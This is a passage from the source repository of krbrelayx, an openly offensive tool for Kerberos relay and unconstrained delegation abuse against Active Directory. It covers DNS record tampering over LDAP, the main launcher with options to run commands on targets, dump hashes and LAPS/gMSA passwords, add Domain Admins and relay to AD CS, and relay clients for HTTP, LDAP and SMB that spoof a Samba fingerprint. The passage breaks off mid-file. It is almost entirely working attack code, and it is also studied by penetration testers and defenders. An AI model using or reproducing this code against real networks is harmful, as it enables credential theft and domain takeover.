print_operation_result(c.result) 582 | else: 583 | print_m('Target has only one record, tombstoning it') 584 | diff = datetime.datetime.today() - datetime.datetime(1601,1,1) 585 | tstime = int(diff.total_seconds()*10000) 586 | # Add a null record 587 | record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) 588 | record['Data'] = DNS_RPC_RECORD_TS() 589 | record['Data']['entombedTime'] = tstime 590 | c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, [record.getData()])], 591 | 'dNSTombstoned': [(MODIFY_REPLACE, True)]}) 592 | print_operation_result(c.result) 593 | elif args.action == 'ldapdelete': 594 | print_m('Deleting record over LDAP') 595 | c.delete(targetentry['dn']) 596 | print_operation_result(c.result) 597 | elif args.action == 'resurrect': 598 | addtype = 0 599 | if len(targetentry['raw_attributes']['dnsRecord']) > 1: 600 | print_m('Target has multiple records, I dont know how to handle this.') 601 | return 602 | else: 603 | print_m('Target has only one record, resurrecting it') 604 | diff = datetime.datetime.today() - datetime.datetime(1601,1,1) 605 | tstime = int(diff.total_seconds()*10000) 606 | # Add a null record 607 | record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) 608 | record['Data'] = DNS_RPC_RECORD_TS() 609 | record['Data']['entombedTime'] = tstime 610 | c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, [record.getData()])], 611 | 'dNSTombstoned': [(MODIFY_REPLACE, False)]}) 612 | print_o('Record resurrected. You will need to (re)add the record with the IP address.') 613 | 614 | if __name__ == '__main__': 615 | main() 616 | -------------------------------------------------------------------------------- /krbrelayx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #################### 3 | # 4 | # Copyright (c) 2020 Dirk-jan Mollema (@_dirkjan) 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | # 24 | #################### 25 | # 26 | # This tool is based on ntlmrelayx, part of Impacket 27 | # Copyright (c) 2013-2018 SecureAuth Corporation 28 | # 29 | # Impacket is provided under under a slightly modified version 30 | # of the Apache Software License. 31 | # See https://github.com/SecureAuthCorp/impacket/blob/master/LICENSE 32 | # for more information. 33 | # 34 | # 35 | # Ntlmrelayx authors: 36 | # Alberto Solino (@agsolino) 37 | # Dirk-jan Mollema / Outsider Security (www.outsidersecurity.nl) 38 | # 39 | 40 | import argparse 41 | import sys 42 | import binascii 43 | import logging 44 | 45 | from impacket.examples import logger 46 | from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS 47 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher 48 | 49 | from lib.servers import SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer 50 | from lib.utils.config import KrbRelayxConfig 51 | 52 | RELAY_SERVERS = ( SMBRelayServer, HTTPKrbRelayServer, DNSRelayServer ) 53 | 54 | def stop_servers(threads): 55 | todelete = [] 56 | for thread in threads: 57 | if isinstance(thread, RELAY_SERVERS): 58 | thread.server.shutdown() 59 | todelete.append(thread) 60 | # Now remove threads from the set 61 | for thread in todelete: 62 | threads.remove(thread) 63 | del thread 64 | 65 | def main(): 66 | def start_servers(options, threads): 67 | for server in RELAY_SERVERS: 68 | #Set up config 69 | c = KrbRelayxConfig() 70 | c.setProtocolClients(PROTOCOL_CLIENTS) 71 | c.setTargets(targetSystem) 72 | c.setExeFile(options.e) 73 | c.setCommand(options.c) 74 | c.setAddComputerSMB(None) 75 | c.setEnumLocalAdmins(options.enum_local_admins) 76 | c.setEncoding(codec) 77 | c.setMode(mode) 78 | c.setAttacks(PROTOCOL_ATTACKS) 79 | c.setLootdir(options.lootdir) 80 | c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) 81 | c.setIPv6(options.ipv6) 82 | c.setWpadOptions(options.wpad_host, options.wpad_auth_num) 83 | c.setSMB2Support(not options.no_smb2support) 84 | c.setInterfaceIp(options.interface_ip) 85 | if options.altname: 86 | c.setAltName(options.altname) 87 | if options.krbhexpass and not options.krbpass: 88 | c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, binascii.unhexlify(options.krbhexpass), options.krbsalt, True) 89 | else: 90 | c.setAuthOptions(options.aesKey, options.hashes, options.dc_ip, options.krbpass, options.krbsalt, False) 91 | c.setKrbOptions(options.format, options.victim) 92 | c.setIsADCSAttack(options.adcs) 93 | c.setADCSOptions(options.template) 94 | 95 | #If the redirect option is set, configure the HTTP server to redirect targets to SMB 96 | if server is HTTPKrbRelayServer and options.r is not None: 97 | c.setMode('REDIRECT') 98 | c.setRedirectHost(options.r) 99 | 100 | s = server(c) 101 | s.start() 102 | threads.add(s) 103 | return c 104 | 105 | # Init the example's logger theme 106 | logger.init() 107 | 108 | #Parse arguments 109 | parser = argparse.ArgumentParser(add_help=False, 110 | description="Kerberos relay and unconstrained delegation abuse tool. " 111 | "By @_dirkjan / dirkjanm.io") 112 | parser._optionals.title = "Main options" 113 | 114 | #Main arguments 115 | parser.add_argument("-h", "--help", action="help", help='show this help message and exit') 116 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 117 | parser.add_argument('-t', "--target", action='store', metavar = 'TARGET', help='Target to attack, ' 118 | 'since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use.') 119 | parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 120 | 'full URL, one per line') 121 | parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 122 | 'automatically (only valid with -tf)') 123 | 124 | # Interface address specification 125 | parser.add_argument('-ip', '--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 126 | 'bind SMB and HTTP servers',default='') 127 | 128 | parser.add_argument('-r', action='store', metavar='SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') 129 | parser.add_argument('-l', '--lootdir', action='store', type=str, required=False, metavar='LOOTDIR', default='.', help='Loot ' 130 | 'directory in which gathered loot (TGTs or dumps) will be stored (default: current directory).') 131 | parser.add_argument('-f', '--format', default='ccache', choices=['ccache', 'kirbi'], action='store',help='Format to store tickets in. Valid: ccache (Impacket) or kirbi' 132 | ' (Mimikatz format) default: ccache') 133 | parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 134 | '"%s"). If errors are detected, run chcp.com at the target, ' 135 | 'map the result with ' 136 | 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py ' 137 | 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) 138 | parser.add_argument('-no-smb2support', action="store_false", default=False, help='Disable SMB2 Support') 139 | 140 | parser.add_argument('-wh', '--wpad-host', action='store', help='Enable serving a WPAD file for Proxy Authentication attack, ' 141 | 'setting the proxy host to the one supplied.') 142 | parser.add_argument('-wa', '--wpad-auth-num', action='store', help='Prompt for authentication N times for clients without MS16-077 installed ' 143 | 'before serving a WPAD file.') 144 | parser.add_argument('-6', '--ipv6', action='store_true', help='Listen on both IPv6 and IPv4') 145 | 146 | # Authentication arguments 147 | group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') 148 | group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') 149 | group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') 150 | group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' 151 | 'Only required if specifying password instead of keys.') 152 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 153 | group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' 154 | '(128 or 256 bits)') 155 | group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 156 | 'ommited it use the domain part (FQDN) specified in the target parameter') 157 | 158 | #SMB arguments 159 | smboptions = parser.add_argument_group("SMB attack options") 160 | 161 | smboptions.add_argument('-e', action='store', required=False, metavar='FILE', help='File to execute on the target system. ' 162 | 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') 163 | smboptions.add_argument('-c', action='store', type=str, required=False, metavar='COMMAND', help='Command to execute on ' 164 | 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' 165 | 'directory).') 166 | smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') 167 | 168 | #LDAP options 169 | ldapoptions = parser.add_argument_group("LDAP attack options") 170 | ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') 171 | ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') 172 | ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') 173 | ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') 174 | ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') 175 | ldapoptions.add_argument('--add-computer', action='store', metavar='COMPUTERNAME', required=False, const='Rand', nargs='?', help='Attempt to add a new computer account') 176 | ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') 177 | ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') 178 | ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') 179 | ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') 180 | ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') 181 | 182 | # AD CS options 183 | adcsoptions = parser.add_argument_group("AD CS attack options") 184 | adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') 185 | adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') 186 | adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') 187 | adcsoptions.add_argument('-v', "--victim", action='store', metavar = 'TARGET', help='Victim username or computername$, to request the correct certificate name.') 188 | 189 | try: 190 | options = parser.parse_args() 191 | except Exception as e: 192 | logging.error(str(e)) 193 | sys.exit(1) 194 | 195 | if options.debug is True: 196 | logging.getLogger().setLevel(logging.DEBUG) 197 | logging.getLogger('impacket.smbserver').setLevel(logging.DEBUG) 198 | else: 199 | logging.getLogger().setLevel(logging.INFO) 200 | logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 201 | 202 | # Let's register the protocol clients we have 203 | # ToDo: Do this better somehow 204 | from lib.clients import PROTOCOL_CLIENTS 205 | 206 | 207 | if options.codec is not None: 208 | codec = options.codec 209 | else: 210 | codec = sys.getdefaultencoding() 211 | 212 | if options.target is not None: 213 | logging.info("Running in attack mode to single host") 214 | mode = 'ATTACK' 215 | targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) 216 | else: 217 | if options.tf is not None: 218 | #Targetfile specified 219 | logging.info("Running in attack mode to hosts in targetfile") 220 | targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) 221 | mode = 'ATTACK' 222 | else: 223 | logging.info("Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.") 224 | targetSystem = None 225 | mode = 'EXPORT' 226 | 227 | if not options.krbpass and not options.krbhexpass and not options.hashes and not options.aesKey: 228 | logging.info("Running in kerberos relay mode because no credentials were specified.") 229 | if mode == 'EXPORT': 230 | logging.error('You need to specify at least one relay target, or specify credentials to run in unconstrained delegation mode') 231 | return 232 | mode = 'RELAY' 233 | else: 234 | logging.info("Running in unconstrained delegation abuse mode using the specified credentials.") 235 | 236 | if options.r is not None: 237 | logging.info("Running HTTP server in redirect mode") 238 | 239 | if targetSystem is not None and options.w: 240 | watchthread = TargetsFileWatcher(targetSystem) 241 | watchthread.start() 242 | 243 | threads = set() 244 | 245 | c = start_servers(options, threads) 246 | 247 | print("") 248 | logging.info("Servers started, waiting for connections") 249 | try: 250 | sys.stdin.read() 251 | except KeyboardInterrupt: 252 | pass 253 | else: 254 | pass 255 | 256 | for s in threads: 257 | del s 258 | 259 | sys.exit(0) 260 | 261 | 262 | 263 | # Process command-line arguments. 264 | if __name__ == '__main__': 265 | main() 266 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /lib/clients/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Client Base Class definition 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # Defines a base class for all clients + loads all available modules 14 | # 15 | # ToDo: 16 | # 17 | import os, sys, pkg_resources 18 | from impacket import LOG 19 | 20 | PROTOCOL_CLIENTS = {} 21 | 22 | # Base class for Protocol Clients for different protocols (SMB, MSSQL, etc) 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin for protocol clients: 25 | # PROTOCOL_CLIENT_CLASS = "" 26 | # PLUGIN_NAME must be the protocol name that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 27 | class ProtocolClient: 28 | PLUGIN_NAME = 'PROTOCOL' 29 | def __init__(self, serverConfig, target, targetPort, extendedSecurity=True): 30 | self.serverConfig = serverConfig 31 | self.targetHost = target.hostname 32 | # A default target port is specified by the subclass 33 | if target.port is not None: 34 | # We override it by the one specified in the target 35 | self.targetPort = target.port 36 | else: 37 | self.targetPort = targetPort 38 | self.target = target 39 | self.extendedSecurity = extendedSecurity 40 | self.session = None 41 | self.sessionData = {} 42 | 43 | def initConnection(self): 44 | raise RuntimeError('Virtual Function') 45 | 46 | def killConnection(self): 47 | raise RuntimeError('Virtual Function') 48 | 49 | def sendNegotiate(self, negotiateMessage): 50 | # Charged of sending the type 1 NTLM Message 51 | raise RuntimeError('Virtual Function') 52 | 53 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 54 | # Charged of sending the type 3 NTLM Message to the Target 55 | raise RuntimeError('Virtual Function') 56 | 57 | def sendStandardSecurityAuth(self, sessionSetupData): 58 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 59 | raise RuntimeError('Virtual Function') 60 | 61 | def getSession(self): 62 | # Should return the active session for the relayed connection 63 | raise RuntimeError('Virtual Function') 64 | 65 | def getSessionData(self): 66 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 67 | # answers from the original server) 68 | return self.sessionData 69 | 70 | def getStandardSecurityChallenge(self): 71 | # Should return the Challenge returned by the server when Extended Security is not set 72 | # This should only happen with against old Servers. By default we return None 73 | return None 74 | 75 | def keepAlive(self): 76 | # Charged of keeping connection alive 77 | raise RuntimeError('Virtual Function') 78 | 79 | for file in pkg_resources.resource_listdir('lib', 'clients'): 80 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 81 | continue 82 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 83 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 84 | try: 85 | pluginClasses = set() 86 | try: 87 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 88 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 89 | pluginClasses.add(getattr(module, pluginClass)) 90 | else: 91 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 92 | except Exception as e: 93 | LOG.debug(e) 94 | pass 95 | 96 | for pluginClass in pluginClasses: 97 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 98 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 99 | except Exception as e: 100 | LOG.debug(str(e)) 101 | 102 | -------------------------------------------------------------------------------- /lib/clients/httprelayclient.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # HTTP Protocol Client 11 | # HTTP(s) client for relaying NTLMSSP authentication to webservers 12 | # 13 | # Author: 14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 15 | # Alberto Solino (@agsolino) 16 | # 17 | import re 18 | import ssl 19 | try: 20 | from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady 21 | except ImportError: 22 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 23 | import base64 24 | 25 | from struct import unpack 26 | from impacket import LOG 27 | from lib.clients import ProtocolClient 28 | from lib.utils.kerberos import build_apreq 29 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 30 | from impacket.ntlm import NTLMAuthChallenge 31 | from impacket.spnego import SPNEGO_NegTokenResp 32 | 33 | PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 34 | 35 | class HTTPRelayClient(ProtocolClient): 36 | PLUGIN_NAME = "HTTP" 37 | 38 | def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 39 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 40 | self.extendedSecurity = extendedSecurity 41 | self.negotiateMessage = None 42 | self.authenticateMessageBlob = None 43 | self.server = None 44 | self.authenticationMethod = None 45 | 46 | def initConnection(self, authdata, kdc=None): 47 | self.session = HTTPConnection(self.targetHost,self.targetPort) 48 | self.lastresult = None 49 | if self.target.path == '': 50 | self.path = '/' 51 | else: 52 | self.path = self.target.path 53 | return self.doInitialActions(authdata, kdc) 54 | 55 | def doInitialActions(self, authdata, kdc=None): 56 | self.session.request('GET', self.path) 57 | res = self.session.getresponse() 58 | res.read() 59 | if res.status != 401: 60 | LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 61 | try: 62 | if 'Kerberos' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'): 63 | LOG.error('Kerberos Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 64 | return False 65 | if 'Kerberos' in res.getheader('WWW-Authenticate'): 66 | self.authenticationMethod = "Kerberos" 67 | elif 'Negotiate' in res.getheader('WWW-Authenticate'): 68 | self.authenticationMethod = "Negotiate" 69 | except (KeyError, TypeError): 70 | LOG.error('No authentication requested by the server for url %s' % self.targetHost) 71 | if self.serverConfig.isADCSAttack: 72 | LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways') 73 | else: 74 | return False 75 | 76 | # Negotiate auth 77 | if self.serverConfig.mode == 'RELAY': 78 | # Relay mode is pass-through 79 | negotiate = base64.b64encode(authdata['krbauth']).decode("ascii") 80 | else: 81 | # Unconstrained delegation mode has to build TGT manually 82 | krbauth = build_apreq(authdata['domain'], kdc, authdata['tgt'], authdata['username'], 'http', self.targetHost) 83 | negotiate = base64.b64encode(krbauth).decode("ascii") 84 | 85 | headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)} 86 | self.session.request('GET', self.path ,headers=headers) 87 | res = self.session.getresponse() 88 | res.read() 89 | if res.status == 401: 90 | return None, STATUS_ACCESS_DENIED 91 | else: 92 | LOG.info('HTTP server returned status code %d, treating as a successful login' % res.status) 93 | #Cache this 94 | self.lastresult = res.read() 95 | return None, STATUS_SUCCESS 96 | return True 97 | 98 | def killConnection(self): 99 | if self.session is not None: 100 | self.session.close() 101 | self.session = None 102 | 103 | def keepAlive(self): 104 | # Do a HEAD for favicon.ico 105 | self.session.request('HEAD','/favicon.ico') 106 | self.session.getresponse() 107 | 108 | class HTTPSRelayClient(HTTPRelayClient): 109 | PLUGIN_NAME = "HTTPS" 110 | 111 | def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 112 | HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 113 | 114 | def initConnection(self, authdata, kdc=None): 115 | self.lastresult = None 116 | if self.target.path == '': 117 | self.path = '/' 118 | else: 119 | self.path = self.target.path 120 | try: 121 | uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 122 | self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 123 | except AttributeError: 124 | self.session = HTTPSConnection(self.targetHost,self.targetPort) 125 | return self.doInitialActions(authdata, kdc) 126 | 127 | -------------------------------------------------------------------------------- /lib/clients/ldaprelayclient.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from struct import unpack 3 | from impacket import LOG 4 | from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD, SASL, KERBEROS 5 | from ldap3.operation import bind 6 | try: 7 | from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED 8 | except ImportError: 9 | LOG.fatal("krbrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade") 10 | sys.exit(1) 11 | 12 | from lib.clients import ProtocolClient 13 | from lib.utils.kerberos import ldap_kerberos, ldap_kerberos_auth 14 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 15 | from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN 16 | from impacket.spnego import SPNEGO_NegTokenResp 17 | 18 | PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] 19 | 20 | class LDAPRelayClientException(Exception): 21 | pass 22 | 23 | class LDAPRelayClient(ProtocolClient): 24 | PLUGIN_NAME = "LDAP" 25 | MODIFY_ADD = MODIFY_ADD 26 | 27 | def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): 28 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 29 | self.extendedSecurity = extendedSecurity 30 | self.server = None 31 | 32 | def killConnection(self): 33 | if self.session is not None: 34 | self.session.socket.close() 35 | self.session = None 36 | 37 | def initConnection(self, authdata, kdc=None): 38 | if not kdc: 39 | kdc = authdata['domain'] 40 | self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 41 | self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS) 42 | if self.serverConfig.mode == 'RELAY': 43 | # Pass-thought auth 44 | ldap_kerberos_auth(self.session, authdata['krbauth']) 45 | else: 46 | # Unconstrained delegation mode 47 | ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost) 48 | 49 | class LDAPSRelayClient(LDAPRelayClient): 50 | PLUGIN_NAME = "LDAPS" 51 | MODIFY_ADD = MODIFY_ADD 52 | 53 | def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): 54 | LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 55 | 56 | def initConnection(self, authdata, kdc=None): 57 | if not kdc: 58 | kdc = authdata['domain'] 59 | self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 60 | self.session = Connection(self.server, user="a", password="b", authentication=SASL, sasl_mechanism=KERBEROS) 61 | ldap_kerberos(authdata['domain'], kdc, authdata['tgt'], authdata['username'], self.session, self.targetHost) 62 | -------------------------------------------------------------------------------- /lib/clients/smbrelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMB Relay Protocol Client 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # Hugo VINCENT (@hugow_vincent) 12 | # 13 | # Description: 14 | # This is the SMB client which initiates the connection to an 15 | # SMB server and relays the credentials to this server. 16 | 17 | from socket import error as socketerror 18 | from impacket import LOG 19 | from lib.clients import ProtocolClient 20 | from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER 21 | from impacket.nt_errors import STATUS_SUCCESS 22 | from impacket.smb import SMB, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ 23 | SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ 24 | SMBSessionSetupAndX_Extended_Response_Parameters 25 | from impacket.smb3 import SMB3, SMB2_NEGOTIATE_SIGNING_ENABLED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP 26 | from impacket.smbconnection import SMBConnection, SessionError 27 | from binascii import a2b_hex 28 | from impacket.krb5.kerberosv5 import KerberosError 29 | from impacket import smb, smb3 30 | 31 | PROTOCOL_CLIENT_CLASS = "SMBRelayClient" 32 | 33 | class MYSMB(SMB): 34 | def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 35 | self.extendedSecurity = extendedSecurity 36 | SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) 37 | 38 | def kerberos_apreq_login(self, authdata_gssapi): 39 | 40 | flags1, flags2 = self.get_flags() 41 | if flags2 & SMB.FLAGS2_UNICODE: 42 | self.set_flags(flags2=(flags2 & (flags2 ^ SMB.FLAGS2_UNICODE))) 43 | 44 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 45 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 46 | sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 47 | 48 | sessionSetup['Parameters']['MaxBufferSize'] = 61440 49 | sessionSetup['Parameters']['MaxMpxCount'] = 2 50 | sessionSetup['Parameters']['VcNumber'] = 1 51 | sessionSetup['Parameters']['SessionKey'] = 0 52 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX 53 | 54 | sessionSetup['Parameters']['SecurityBlobLength'] = len(authdata_gssapi) 55 | sessionSetup['Parameters'].getData() 56 | sessionSetup['Data']['SecurityBlob'] = authdata_gssapi 57 | 58 | # Fake Data here, don't want to get us fingerprinted 59 | sessionSetup['Data']['NativeOS'] = 'Unix' 60 | sessionSetup['Data']['NativeLanMan'] = 'Samba' 61 | 62 | smb.addCommand(sessionSetup) 63 | self.sendSMB(smb) 64 | 65 | smb = self.recvSMB() 66 | if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX): 67 | # We will need to use this uid field for all future requests/responses 68 | self._uid = smb['Uid'] 69 | 70 | # Now we have to extract the blob to continue the auth process 71 | sessionResponse = SMBCommand(smb['Data'][0]) 72 | sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 73 | sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 74 | sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 75 | sessionData.fromString(sessionResponse['Data']) 76 | 77 | self._action = sessionParameters['Action'] 78 | 79 | # restore unicode flag if needed 80 | if flags2 & SMB.FLAGS2_UNICODE: 81 | self.__flags2 |= SMB.FLAGS2_UNICODE 82 | 83 | return 1 84 | else: 85 | raise Exception('Error: Could not login successfully') 86 | 87 | class MYSMB3(SMB3): 88 | def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 89 | self.extendedSecurity = extendedSecurity 90 | SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) 91 | 92 | def kerberos_apreq_login(self, authdata_gssapi): 93 | sessionSetup = SMB2SessionSetup() 94 | 95 | sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED 96 | 97 | sessionSetup['Flags'] = 0 98 | 99 | sessionSetup['SecurityBufferLength'] = len(authdata_gssapi) 100 | sessionSetup['Buffer'] = authdata_gssapi 101 | 102 | packet = self.SMB_PACKET() 103 | packet['Command'] = SMB2_SESSION_SETUP 104 | packet['Data'] = sessionSetup 105 | 106 | #Initiate session preauth hash 107 | self._Session['PreauthIntegrityHashValue'] = self._Connection['PreauthIntegrityHashValue'] 108 | 109 | packetID = self.sendSMB(packet) 110 | ans = self.recvSMB(packetID) 111 | if 